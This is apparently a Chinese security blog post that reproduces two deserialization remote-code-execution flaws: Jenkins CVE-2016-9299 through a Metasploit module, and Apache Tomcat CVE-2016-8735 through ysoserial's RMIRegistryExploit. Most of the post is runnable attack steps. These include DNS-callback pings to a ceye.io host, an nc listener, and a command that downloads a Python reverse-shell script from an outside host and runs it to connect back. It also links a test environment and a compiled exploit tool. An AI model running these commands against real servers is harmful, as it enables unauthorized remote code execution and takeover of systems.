root 发布的文章

Jenkins CLI Ldap Deser CVE-2016-9299

1024px-Jenkins_logo_with_title.svg_meitu_1.jpg

漏洞名称

Unauthenticatedremote code execution vulnerability in Jenkins

影响版本

  • LTSRelease 2.19.3 之前的所有版本
  • WeeklyRelease 2.32 之前的所有版本

修复版本

  • mainline 2.32
  • LTS2.19.3

漏洞危害

远程代码执行

Exploit

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞复现

b2ae6b6e-eec0-11e6-9657-bebfbfb80609.png


    msf > use exploit/linux/misc/jenkins_ldap_deserialize
    msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
    PAYLOAD => cmd/unix/generic
    msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
    CMD => touch /tmp/wtf
    msf exploit(jenkins_ldap_deserialize) > run
    [*] Exploit completed, but no session was created.

c6ac0df6-eec0-11e6-8c9a-ab1cae579c8f.png

成功

e132e262-eec0-11e6-9335-956b69391ba4.png

[~] ls /tmp/wtf
/tmp/wtf

参考

CVE-2016-8735 Apache Tomcat Remote Code Execution

构造命令

Win ping一次命令:

ping -n 1 qjkpla.ceye.io

Linux ping 一次命令:

ping -c 1 qjkpla.ceye.io

利用Ceye回显看是否存在漏洞:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c Groovy1.test.qjkpla.ceye.io"

poc1.png

DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在

poc2.png

直接NC监听服务:

nc -l -vv 12555

poc3.png

然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://rinige.com/back.py -O /tmp/x.py"

执行完此命令继续构造命令,去执行刚在wget的脚本

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反弹主机地址 反弹端口"

poc4.png

成功反弹:

poc5.png

poc6.png

提供一下测试环境和新编译的ysoserial:

  • 环境:apache-tomcat-8.0.36

链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu